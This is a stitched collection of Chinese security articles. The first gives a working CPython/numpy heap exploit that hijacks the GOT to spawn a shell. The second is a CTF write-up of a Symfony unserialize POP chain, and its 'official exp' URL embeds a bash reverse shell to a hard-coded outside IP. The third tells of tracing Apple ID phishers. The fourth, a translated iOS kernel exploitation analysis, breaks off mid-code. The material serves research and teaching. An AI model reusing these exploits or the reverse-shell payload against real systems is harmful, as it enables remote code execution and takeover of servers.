许多有用的字段读取或写入类型的指针，函数指针，数据指针，大小等等。
**Shellcode like it's 1999**
ctypes库作为Python和C代码之间的桥梁。 它提供C兼容的数据类型，并允许在DLL或共享库中调用函数。
许多具有C绑定或需要调用共享库的模块需要导入ctypes。
我注意到，导入ctypes会导致以读/写/执行权限设置的4K大小的内存区域映射。 如果还不明显，这意味着攻击者甚至不需要编写一个ROP链。
利用一个错误就像把指令指针指向你的shellcode一样简单，你被授予你已经找到了RWX区域。
$ cat foo.py
import ctypes
while True:
pass
$ python foo.py
^Z
[2] + 30567 suspended python foo.py
$ grep rwx /proc/30567/maps7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0
进一步调查，我发现libffi的封闭API 负责打印RWX区域。 但是，该区域不能在某些平台上分配RWX，例如启用了selinux强制或PAX
mprotect的系统，并且有代码可以解决这个限制。我没有花太多时间尝试可靠地定位RWX映射，但是从理论上说，如果你有一个任意读取的exploit，应该是可能的。
当ASLR应用于库（library）时，动态链接器以可预测的顺序映射库（library）的区域。
库（library）的地区包括库私有的全局变量和代码本身。Libffi将对RWX地区的引用存储为全局。
例如，如果您在堆上找到指向libffi函数的指针，则可以将RWX区域指针的地址预先计算为与libffi函数指针的地址的偏移量。 每个库版本都需要调整偏移量。
**De facto exploit mitigations**
我在Ubuntu 14.04.5和16.04.1上测试了Python2.7二进制程序的安全相关编译器标志。 有几个弱点，对攻击者来说是非常有用的：
Partial RELRO：可执行文件的GOT部分 ，包含动态链接到二进制文件中的库函数的指针，是可写的。
例如，explolo可以用system()替换printf()的地址。
No PIE：二进制文件不是与位置无关的可执行文件，这意味着当内核将ASLR应用于大多数内存映射时，二进制本身的内容将映射到静态地址。
由于GOT部分是二进制文件的一部分，因此PIE不会使攻击者更容易找到并写入GOT。
**Road blocks**
虽然CPython是充分利用开发人员工具的环境，但有一些力量破坏了我的许多漏洞尝试，难以调试
垃圾收集器，类型系统以及可能的其他未知的力将破坏您的漏洞利用，如果您不小心克隆对象元数据。
id()可能不可靠。 由于我无法确定，Python有时会在使用始对象时传递对象的副本。
对象分配的区域有些不可预测。 由于我无法确定，某些编码模式导致缓冲区被分配到brk堆中，而其他模式导致在一个python特定的mmap'd堆中分配。
**漏洞利用**
发现numpy整数溢出后不久，我向Bug的一个报告提交了劫持指令指针的概念证明，但没有注入任何代码。
当我最初提交时，我没有意识到PoC实际上是不可靠的，并且我无法对其服务器进行正确的测试，因为验证劫持指令指针需要访问核心转储或调试器。
供应商承认这个问题的合法性，但是比起我的第一份报告，他们给了一个不那么慷慨的回报。
很公平！
我不是一个漏洞利用开发者，但我挑战自己做得更好。 经过多次尝试和错误，我最终写了一个似乎是可靠的漏洞。
不幸的是，我无法在供应商的沙箱中测试它，因为在完成之前更新了numpy，但是在Python解释器中本地测试时它的工作正常。
在高层次上，漏洞利用一个numpy数组的大小来获取任意的读/写漏洞利用的攻击。这个攻击用于将system的地址写入fwrite的GOT / PLT条目。
最后，Python的内置print调用fwrite覆盖，所以现在你可以调用print '/bin/sh'来获取shell，或者用任何命令替换/ bin /
sh。
有一些比高级别的解释更多，所以请查看下面的漏洞。 我建议从自下而上开始阅读，包括评论。
如果您使用的是不同版本的Python，请在运行该文件之前调整fwrite和system的GOT位置。
import numpy as np
# addr_to_str is a quick and dirty replacement for struct.pack(), needed
# for sandbox environments that block the struct module.
def addr_to_str(addr):
addr_str = "%016x" % (addr)
ret = str()
for i in range(16, 0, -2):
ret = ret + addr_str[i-2:i].decode('hex')
return ret
# read_address and write_address use overflown numpy arrays to search for
# bytearray objects we've sprayed on the heap, represented as a PyByteArray
# structure:
#
# struct PyByteArray {
# Py_ssize_t ob_refcnt;
# struct _typeobject *ob_type;
# Py_ssize_t ob_size;
# int ob_exports;
# Py_ssize_t ob_alloc;
# char *ob_bytes;
# };
#
# Once located, the pointer to actual data `ob_bytes` is overwritten with the
# address that we want to read or write. We then cycle through the list of byte
# arrays until we find the one that has been corrupted. This bytearray is used
# to read or write the desired location. Finally, we clean up by setting
# `ob_bytes` back to its original value.
def find_address(addr, data=None):
i = 0
j = -1
k = 0
if data:
size = 0x102
else:
size = 0x103
for k, arr in enumerate(arrays):
i = 0
for i in range(0x2000): # 0x2000 is a value that happens to work
# Here we search for the signature of a PyByteArray structure
j = arr[0][i].find(addr_to_str(0x1)) # ob_refcnt
if (j < 0 or
arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or # ob_size
arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc
continue
idx_bytes = j+0x28 # ob_bytes
# Save an unclobbered copy of the bytearray metadata
saved_metadata = arrays[k][0][i]
# Overwrite the ob_bytes pointer with the provded address
addr_string = addr_to_str(addr)
new_metadata = (saved_metadata[0:idx_bytes] +
addr_string +
saved_metadata[idx_bytes+8:])
arrays[k][0][i] = new_metadata
ret = None
for bytearray_ in bytearrays:
try:
# We differentiate the signature by size for each
# find_address invocation because we don't want to
# accidentally clobber the wrong bytearray structure.
# We know we've hit the structure we're looking for if
# the size matches and it contents do not equal 'XXXXXXXX'
if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX':
if data:
bytearray_[0:8] = data # write memory
else:
ret = bytearray_[0:8] # read memory
# restore the original PyByteArray->ob_bytes
arrays[k][0][i] = saved_metadata
return ret
except:
pass
raise Exception("Failed to find address %x" % addr)
def read_address(addr):
return find_address(addr)
def write_address(addr, data):
find_address(addr, data)
# The address of GOT/PLT entries for system() and fwrite() are hardcoded. These
# addresses are static for a given Python binary when compiled without -fPIE.
# You can obtain them yourself with the following command:
# `readelf -a /path/to/python/ | grep -E '(system|fwrite)'
SYSTEM = 0x8eb278
FWRITE = 0x8eb810
# Spray the heap with some bytearrays and overflown numpy arrays.
arrays = []
bytearrays = []
for i in range(100):
arrays.append(np.array('A'*0x100))
arrays[-1].resize(0x1000, 0x100000000000001)
bytearrays.append(bytearray('X'*0x102))
bytearrays.append(bytearray('X'*0x103))
# Read the address of system() and write it to fwrite()'s PLT entry.
data = read_address(SYSTEM)
write_address(FWRITE, data)
# print() will now call system() with whatever string you pass
print "PS1='[HACKED] $ ' /bin/sh"
运行漏洞利用给你一个“hacked”的shell。
如果您没有运行Python 2.7.12，请参阅漏洞利用中的注释，了解如何使其适用于您的Python版本
**量化风险**
众所周知，Python的核心和许多第三方模块都是C代码的包装。
也许不那么认识到，内存损坏错误在流行的Python模块中一直没有像CVE，安全公告，甚至提及发行说明中的安全修复一样被报告。
那么是的，Python模块中有很多内存损坏的bug。 当然不是所有的都是可以利用的，但你必须从某个地方开始。
为了解释内存损坏错误造成的风险，我发现使用两个不同的用例来构建对话：常规Python应用程序和沙盒不受信任的代码。
**Regular applications**
我们关心的应用程序类型是具有有意义的攻击面的那些。
考虑Web应用程序和其他面向网络的服务，处理不受信任内容，特权系统服务等的客户端应用程序。这些应用程序中的许多应用程序导入针对C代码的Python模块，而不是将其内存损坏错误视为安全问题的项目。
这个纯粹的想法可能会让一些安全专业人员在即使受到伤害，也实际上风险通常被忽视或忽视。 我怀疑有几个原因：
远程识别和利用内存损坏问题的难度相当高，特别是对于源代码和远程应用程序。
应用程序暴露不可信输入路径以达到易受攻击的功能的可能性可能相当低。
意识不足，因为Python模块中的内存损坏错误通常不会被视为安全问题。
如此公平地说，由于某些随机Python模块中的缓冲区溢出而导致入侵的可能性可能相当低。 但是，再一次，内存破坏的缺陷在发生时可能是非常有害的。
有时，甚至没有人明确地利用他们造成伤害。 更糟糕的是，当库维护者在安全性方面不考虑内存损坏问题时，保持库修补是非常不可能的。
如果您开发了一个主要的Python应用程序，建议您至少选择正在使用的Python模块的清单。
尝试找出您的模块依赖多少C代码，并分析本地代码暴露于应用程序边缘的潜力。
**沙盒**
有一些服务允许用户在沙箱内运行不受信任的Python代码。
操作系统级的沙盒功能，如linux命名空间和seccomp，最近才以Docker，LXC等形式流行。今天仍然可以使用较弱的沙盒技术 –
在chroot形式的OS层监狱或更糟糕的是，沙盒可以完全在Python中完成（请参阅[pypy-sandbox](http://doc.pypy.org/en/latest/sandbox.html)和[pysandbox](https://github.com/haypo/pysandbox)
）。
内存损坏错误完全打破了OS不执行的沙盒。 执行Python代码子集的能力使得开发远比常规应用程序更可行。
即使是由于其虚拟化系统调用的二进程模型而声称安全的Pypy-sandbox也可能被缓冲区溢出所破坏。
如果您想运行任何类型的不受信任的代码，请投入努力建立一个安全的操作系统和网络架构来沙箱。 | 社区文章 |
# 全国网安竞赛web09另一个exp
## 前言
这道题因为非预期的日志文件，直接给出了payload，但是由于我自己没看到，自己找了好久好久，2333，发现自己的POP链和出题师傅的点有点不太一样，故发出来分享下自己的POP链挖掘思路
## 题目代码
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
代码很简单，很明显是让找POP链，最后能读取文件即可
## ROP链挖掘
既然直接给了一个unserialize，其他的什么都没有，所以首先考虑魔法函数`__destruct`
那么我们在全局搜索一下`__destruct`
可以发现有很多匹配的结果，没办法了，硬着头皮看吧
找了很久，终于发现了一处`__destruct`可以利用一下，但是有一些限制
## TagAwareAdapter类
这个类里面有一个`__destruct`方法，调用了commit方法
public function __destruct()
{
$this->commit();
}
之后commit方法又调用了invalidateTags这个方法
public function commit()
{
return $this->invalidateTags([]);
}
我们跟进invalidateTags这个方法看看
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
要注意的是，我们可以控制整个TagAwareAdapter类中的成员变量，所以我们可以控制所有的$this->xxx这样子的变量。
在这一段代码中
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
我们可以发现，我们可以调用任意一个实现了saveDeferred方法的类，所以我们可以找到这些类
## 第一个很尴尬的POP链
在刚开始的时候，我找的是ProxyAdapter这个类，为什么呢
public function saveDeferred(CacheItemInterface $item)
{
return $this->doSave($item, __FUNCTION__);
}
private function doSave(CacheItemInterface $item, $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
($this->setInnerItem)($innerItem, $item);
return $this->pool->$method($innerItem);
}
我们只要传入的`$item`是一个CacheItem类型，就可以进到下面的if条件中
看到一句代码了吗`$innerItem = $f($this->namespace.$item["\0*\0key"], null);`，这一句代码中:
1. `$f`这个变量是来自于$this->createCacheItem，我们可控
2. `$item["\0*\0key"]`这个变量，来自于上面的$item = (array) $item;
这里有一个很有意思的点，如果一个对象被强行转换为array的时候，他里面的属性会变成这个样子：
3. 所以说，`$item`数组我们是完全可以控制的
4. 所以说，这里我们可以调用第二个参数可以是null的方法，可惜的是，虽然file_get_contents第二个参数可以为null，但是并没有回显，有点尴尬（有师傅知道这一点可以利用吗）
## 柳暗花明又一村
既然这个不行，那我们就换一个呗，毕竟那么多实现了saveDeferred方法的类
但是，虽然那么多的类，但是能用来利用的只能找到一个：PhpArrayAdapter类
我们看一下这个类中的saveDeffer方法
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}
return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}
进入到initialize这个方法，发现在本类中并没有定义，而是在一个trait这个关键词修饰的类中`trait PhpArrayTrait`
看一下trait这个关键词的用法
> trait
这个关键词是php为了解决单继承的问题而特意建立的，在java这种面向对象的语言中，继承都是单继承的，一个类只能继承一个父类，这样确实体现了面向对象的思想，但是单继承在有的时候不是很方便
我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系
那么在本类中没有定义initialize这个方法的话，自然就会去父类中寻找，我们来看看父类的initialize方法：
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];
return;
}
$values = (include $this->file) ?: [[], []];
if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}
我们可以在PhpArrayAdapter中定义好`$this->file`这个变量，那么在调用initialize方法的时候，只要这个file是一个存在的文件，就会调用include来包含进去，最后就可以读取到flag了
出题人的官方的POP链可以直接做到命令执行，tql
最后的payload：
<?php
namespace Symfony\Component\Cache{
use Symfony\Component\Cache\Adapter\ProxyAdapter;
final class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
public function __construct()
{
$this->expiry = 'sjdjfkas';
$this->poolHash = '123';
$this->key = '';
}
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/etc/passwd';
}
}
class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;
public function __construct()
{
$this->pool = new ChainAdapter();
$this->createCacheItem = 'call_user_func';
$this->namespace = 'phpinfo';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
读取/etc/passwd
## 官方exp
http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
这道题还是很有意思的，出题师傅的这个非预期有点难受，laravel，yii这些框架都有日志记录的。 | 社区文章 |
# 【技术分享】老司机带你利用数据找到盗你Apple ID的人
|
##### 译文声明
本文是翻译文章，文章来源： elknot@知乎
原文地址：<https://zhuanlan.zhihu.com/p/26867698>
译文仅供参考，具体内容表达以及含义原文为准。
事情是这样的，在QQ上有学弟跟我抱怨说手机丢了，然后骗子给他发钓鱼邮件，问我能不能把这个网站端了（开什么玩笑，笔者是遵纪守法好公民，怎么可能干这种事儿，最起码得把他数据库什么的给他抹了然后再端了吧）。我当时回答不能，但是我也没说不帮。根据他给我的一些线索，笔者开始了侦查。
首先呢，我让学弟把这封邮件转发给我的邮箱，然后我们来看一下这封邮件。
恩，做的挺像那么回事的，我们来看看能摸出来什么信息。首先摸到了这个钓鱼网站的URL：<http://www.tunes_phone.lnc.chrnss.com/index1.asp>
，其次还摸到了这个发件人的邮箱。****@****bao.com，但是根据本人的经验来讲，这个邮箱应该是被盗用的。那我们就从链接入手吧。先去撸一下这个服务器到底是啥地址。
恩，从heatmap来看的话，我们能看到这个确实是一个新上的网站，但是很明显我们是不会这么搞的，我们还会继续深究。这里我直接跳过了Whois信息，鉴于隐私问题我就不放Whois的信息了，但是我们还是留下了作为判定的依据。这次我们去撸服务器。我们之前不是查到这台机器解析的ip地址是45.64.74.148了么，我们去看看。
有点6啊，绑了这么多域名全都是跟apple id相连的，看来这个是个职业团队。这台服务器来自于Royal
Network（果然香港是法外之地啊，服务器全放那边），这些域名的Whois信息我们就不去查了，很多情况下都是胡乱填写的，可参考的数据很少。但是不代表我们没有招数去搞他。就看这台服务器，之前在知乎回答过，威胁情报数据中有一种数据叫做netflow数据，可以看到反连这台服务器的所有IP地址，于是我们利用这些商业的数据去查一下看看有什么好玩的。（以下的数据来自于Passivetotal平台，具体数据需要付费，请酌情使用）
这里没有图。。。。
查到的数据很有意思，这个服务器本身并不是他们的，而是某个IP利用这台服务器3389端口上的漏洞进行了bruteforce拿到了这台服务器的权限，然后把这台机器拿过来自己用。厉害了我的哥，黑产都知道不用花钱搞肉鸡了。
通过Passivetotal提供的netflow数据，我们发现了几个比较奇怪的IP: 124.67.21.XX、
http://113.251.41.XXX，好，搞到了这两个IP不怕没办法知道你们在哪儿。上大杀器——LBS高精度定位：
下面那个可以无视，毕竟差距太大，很可能是VPN或者是代理什么的。我们要那个精度好的。
再结合学弟之前提供的Apple ID中的Find My
iPhone定位，最后位置显示在成都市太升南路，我们很清楚的确定这件事情是两个集团在干的事儿，一个偷东西一个负责骗取Apple
ID然后销赃，二者之间是利益关系。
我们已经知道了他在重庆一带，这个时候你可以去找二营长把意大利炮借过来轰他一炮了。
接下来的事情就是和这件事情没什么关系了，first我们来还原一下这件事情背后的逻辑链条。现在都是21世纪了，贼是不会跟电视里面那样的捡了个手机去换SIM卡然后开机的，贼也知道有Find
My iPhone这种东西。
Firstly：贼下手的地方多为高校公交站和人员较多的地方比如地铁，顺走了之后直接关机。这时候当你意识到手机已经被偷的时候手机早就关机了。作为一个正常人这时候你肯定会着急的，然后发朋友圈说我手机丢了什么什么的（这个是正确的，防止因为手机丢了造成信息泄露），如果你用iPhone的话有个别稍微懂点技术的人会告诉你需要打开Find
My
iPhone然后把手机设置为丢失模式。（注意：敲黑板！这时候不要填写任何有效的联系方式给贼，任何有效的，包括亲朋好友的联系方式）。除此之外，你还应该把手机抹掉。（许多人会认为我手机万一找回来了呢，而且里面有好多照片呢，多珍贵啊。再次敲黑板：丢了的手机基本上是找不回来的！找不回来的！找不回来的！抹掉手机是为了更好地防止因为泄密引发的一系列其他的损失，再说呢不是有iCloud么，照片都在云端放着。）
Secondly：这个时候你的手机会小时很长一段时间。那这个时候贼在干什么呢？有这么几种情况，1.贼去销赃了（一般卖不出去，稍微懂点的人都知道解不开没法用），2.贼去干别的了（稍后我们会说）3.贼去寻求亲友团帮助了，4.贼在等着。
**针对1：** 基本不可能，所以还是别想了，如果真的销出去了，你还没准真的能找回来。
**针对2：**
贼去干什么呢，贼这段时间会获取你的信息来对你进行所谓的社会工程学攻击，最典型的例子就是发钓鱼短信和邮件这种。根据我对这些黑产团伙的了解，黑产内部的工具化现在已经非常成熟，很多工具都是很傻瓜化的操作，而且还具备了反侦察能力（程序给你加个VMP这种很麻烦的东西）。一般来说贼拿到了你的手机，第一个能获得的你的信息就是手机号码（夜深人静的时候拔下来找个手机插上去给自己打个电话不就知道了么），通过手机号码可以获得的就太多了（敲黑板！通过手机号码可以获得你的QQ、微信、支付宝、邮箱等账号，为什么，看一眼手机里面最多的类型的短信你就知道为什么了），通过这些炸出来的东西就可以砸出来你的Apple
ID（很多人都是用QQ、126、163这些邮箱去做apple
ID的或者是用http://icloud.com），砸出来之后ID有了，他们会进行一个数据库碰撞的工作，也就是用已经泄露出来的密码进行碰撞，如果碰撞不出来的话，就会给你发上面看到的钓鱼邮件。如果你开了丢失模式，这时候你填写的号码也会收到含有钓鱼邮件的短信。他们没别的目的，就是为了拿到你的ID解激活锁。
**针对3：** 其实就是把后面碰撞Apple ID的工作外包给万能的某宝了。
**针对4：** 等到底也是会走2、3的。
那么如果你这段时间没有中招的话，贼会一直给你发钓鱼短信和邮件，而且随着贼的耐心下降，发送的频率会越来越快。直到贼忍不下去了，然后他就会把你的手机拆掉去当成零件买。
说到这里你也可能就明白了，丢了手机之后最应该想的是保证自己的隐私尽可能的不去泄露，而不是想着怎么把手机找回来。这也就是为什么这些贼为什么总喜欢对大学生下手的原因，经济能力决定的。
针对这件事情我们可以在手机丢之前做这么几件事情：
用一个高安全度的邮箱去注册apple id，推荐gmail和<http://live.com> ，然后是<http://outlook.com>
，国内的比如<http://aliyun.com> 这些比较小众的。
用一个高安全度的密码：推荐16位以上大小写字母数字符号混合，而且不能和其他的密码一样，并且已经泄露出来的数据库的密码不要去用。
放弃手机丢了能找回来的念头，重要的是守护数据。 | 社区文章 |
# iOS内核单字节利用技术
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/07/one-byte-to-rule-them-all.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 简介
在过去的几年里，几乎所有的iOS内核利用都遵循相同的流程:内存破坏和伪造Mach port被用来访问内核task
port，从而为用户空间提供完美的内核读/写原语。最近的iOS内核漏洞缓解措施，比如PAC和zone_require，似乎是为了打破常见的利用流程，但是，这些iOS内核利用从高层次上看是相同的，这引发了一个问题：针对内核task
port真的是最好的漏洞利用流程吗？还是这种策略的趋势掩盖了其他可能更有趣的技术?现有的iOS内核缓解措施是否对其他未被发现的开发流是否同样有效?
在这篇文章中，我将介绍一种新的iOS内核利用技术，它将控制一个字节的堆溢出直接转换为任意物理地址的读/写原语，同时完全避开当前的缓解措施，如KASLR、PAC和zone_require。通过读取一个特殊的硬件寄存器，可以在物理内存中定位到内核并构建一个内核读/写原语，而无需伪造内核task
port。最后，我将讨论各种iOS缓解措施在阻止这一技术方面的效果，并对iOS内核利用的最新进展进行总结。您可以在这里找到[Poc](https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c7)代码。
## 0x02 前置知识
### power 结构
在查看XNU的源代码时，我经常关注一些对象（objects），方便在将来利用它进行操作或破坏。在发现
[CVE-2020-3837](https://bugs.chromium.org/p/project-zero/issues/detail?id=1986)(oob_timestamp漏洞)后，我偶然发现了`vm_map_copy_t`的定义:
struct vm_map_copy {
int type;
#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT 2
#define VM_MAP_COPY_KERNEL_BUFFER 3
vm_object_offset_t offset;
vm_map_size_t size;
union {
struct vm_map_header hdr; /* ENTRY_LIST */
vm_object_t object; /* OBJECT */
uint8_t kdata[0]; /* KERNEL_BUFFER */
} c_u;
};
我觉得这值得关注，有几个原因：
* 1.这个结构在头部有一个`type`字段，因此越界写入可能会将其从一种类型更改为另一种类型，从而导致类型混淆。因为iOS是小端(little-endian)，因此最低有效字节在内存中排在首位，这意味着即使是一个单字节溢出也足以将类型设置为三个值中的任何一个。
* 2.该类型区分任意可控数据（kdata）和内核指针（hdr和object）之间的交集。因此，破坏type可以让我们直接伪造指向内核对象的指针，而不需要执行任何重新分配。
* 3.我记得曾经读过关于`vm_map_copy_t`在以前的漏洞利用中（在iOS 10之前）被用作原语的内容，但我不记得在哪里或如何使用它。Ian Beer 也曾使用过vm_map_copy对象:[Splitting atoms in XNU](https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)。
通过对`osfmk/vm/vm_map.c`的深入研究，我发现vm_map_copyout_internal（）确实以非常有趣的方式使用了copy对象。但首先，让我们先介绍一下vm_map_copy是什么以及它如何工作。
vm_map_copy表示进程虚拟地址空间的写时拷贝，它已经packaged，准备插入到另一个虚拟地址空间中。有三种内部表示形式：作为vm_map_entry对象的列表、作为vm_object或作为直接复制到目标中内联字节数组。我们将重点讨论类型1和3。
基本上 `ENTRY_LIST` 类型是最强大且最通用的表示形式，而 `KERNEL_BUFFER`
类型则是一种严格的优化。`vm_map_entry`列表由多个分配和多个间接层组成:每个`vm_map_entry` 描述了一个虚拟地址范围`[
vme_start ，vme_end ）`，该范围由特定的 `vm_object` 映射，而该列表又包含一个 vm_page
的列表，该列表描述vm_object支持的物理页面。
同时，如果要插入的数据不是共享内存，并且大小大约为两个pages或更少，则只需简单地分配 vm_map_copy
即可将数据内容内联在同一分配中，而无需进行间接或其他分配。
通过这种优化，vm_map_copy对象偏移0x20处的8个字节可以是指向vm_map_entry列表头的指针，也可以是完全由攻击者控制的数据，所有这些都取决于头部的type字段。因此，破坏vm_map_copy对象的第一个字节会导致内核将任意可控数据解释为vm_map_entry指针。
了解vm_map_copy的内部原理后，让我们回到vm_map_copyout_internal()。这个函数负责获取一个vm_map_copy并将其插入目标地址空间(由vm_map_t类型表示)。当进程之间共享内存时，它可以通过Mach消息发送一个外部内存描述符来实现:外部内存以vm_map_copy的形式存储在内核中，而vm_map_copyout_internal()是将其插入到接收进程中的函数。
事实证明，如果vm_map_copyout_internal()处理一个损坏的vm_map_copy，其中包含一个指向伪造的vm_map_entry的指针，事情会变得相当令人兴奋。特别要考虑的是，如果伪造的vm_map_entry
声称已连接，这会导致该函数立即尝试在page中进行错误操作:
kern_return_t
vm_map_copyout_internal(
vm_map_t dst_map,
vm_map_address_t *dst_addr, /* OUT */
vm_map_copy_t copy,
vm_map_size_t copy_size,
boolean_t consume_on_success,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance)
{
...
if (copy->type == VM_MAP_COPY_OBJECT) {
...
}
...
if (copy->type == VM_MAP_COPY_KERNEL_BUFFER) {
...
}
...
vm_map_lock(dst_map);
...
adjustment = start - vm_copy_start;
...
/*
* Adjust the addresses in the copy chain, and
* reset the region attributes.
*/
for (entry = vm_map_copy_first_entry(copy);
entry != vm_map_copy_to_entry(copy);
entry = entry->vme_next) {
...
entry->vme_start += adjustment;
entry->vme_end += adjustment;
...
/*
* If the entry is now wired,
* map the pages into the destination map.
*/
if (entry->wired_count != 0) {
...
object = VME_OBJECT(entry);
offset = VME_OFFSET(entry);
...
while (va < entry->vme_end) {
...
m = vm_page_lookup(object, offset);
...
vm_fault_enter(m, // Calls pmap_enter_options()
dst_map->pmap, // to map m->vmp_phys_page.
va,
prot,
prot,
VM_PAGE_WIRED(m),
FALSE, /* change_wiring */
VM_KERN_MEMORY_NONE, /* tag - not wiring */
&fault_info,
NULL, /* need_retry */
&type_of_fault);
...
offset += PAGE_SIZE_64;
va += PAGE_SIZE;
}
}
}
...
vm_map_copy_insert(dst_map, last, copy);
...
vm_map_unlock(dst_map);
...
}
让我们一步步完成这个步骤。首先，处理其他vm_map_copy类型:
if (copy->type == VM_MAP_COPY_OBJECT) {
...
}
...
if (copy->type == VM_MAP_COPY_KERNEL_BUFFER) {
...
}
这个 vm_map 是加锁的:
vm_map_lock(dst_map);
我们在vm_map_entry(fake)对象链表上输入一个for循环:
for (entry = vm_map_copy_first_entry(copy);
entry != vm_map_copy_to_entry(copy);
entry = entry->vme_next) {
我们处理的情况下，vm_map_entry是wired的，因此应该立即出现故障:
if (entry->wired_count != 0) {
设置后，我们将遍历wired条目中的每个虚拟地址。由于我们控制了伪造的vm_map_entry内容，所以我们可以控制读取的对象指针（类型为vm_objec）和偏移量：
object = VME_OBJECT(entry);
offset = VME_OFFSET(entry);
...
while (va < entry->vme_end) {
我们为需要wired的内存的每个物理页查找vm_page
结构。由于我们控制了伪造的vm_object和偏移量，我们可以使vm_page_lookup()返回一个指针，指向一个伪造的vm_page结构体，我们控制它的内容:
m = vm_page_lookup(object, offset);
最后，我们调用vm_fault_enter（）在页面中进行故障处理：
vm_fault_enter(m, // Calls pmap_enter_options()
dst_map->pmap, // to map m->vmp_phys_page.
va,
prot,
prot,
VM_PAGE_WIRED(m),
FALSE, /* change_wiring */
VM_KERN_MEMORY_NONE, /* tag - not wiring */
&fault_info,
NULL, /* need_retry */
&type_of_fault);
vm_fault_enter（）的调用比较复杂，所以我不把代码放在这里。可以这样说，通过适当地设置伪造objects中的字段，就可以使用伪造的vm_page对象确定vm_fault_enter（），从而使用任意的物理页码调用pmap_enter_options():
kern_return_t
pmap_enter_options(
pmap_t pmap,
vm_map_address_t v,
ppnum_t pn,
vm_prot_t prot,
vm_prot_t fault_type,
unsigned int flags,
boolean_t wired,
unsigned int options,
__unused void *arg)
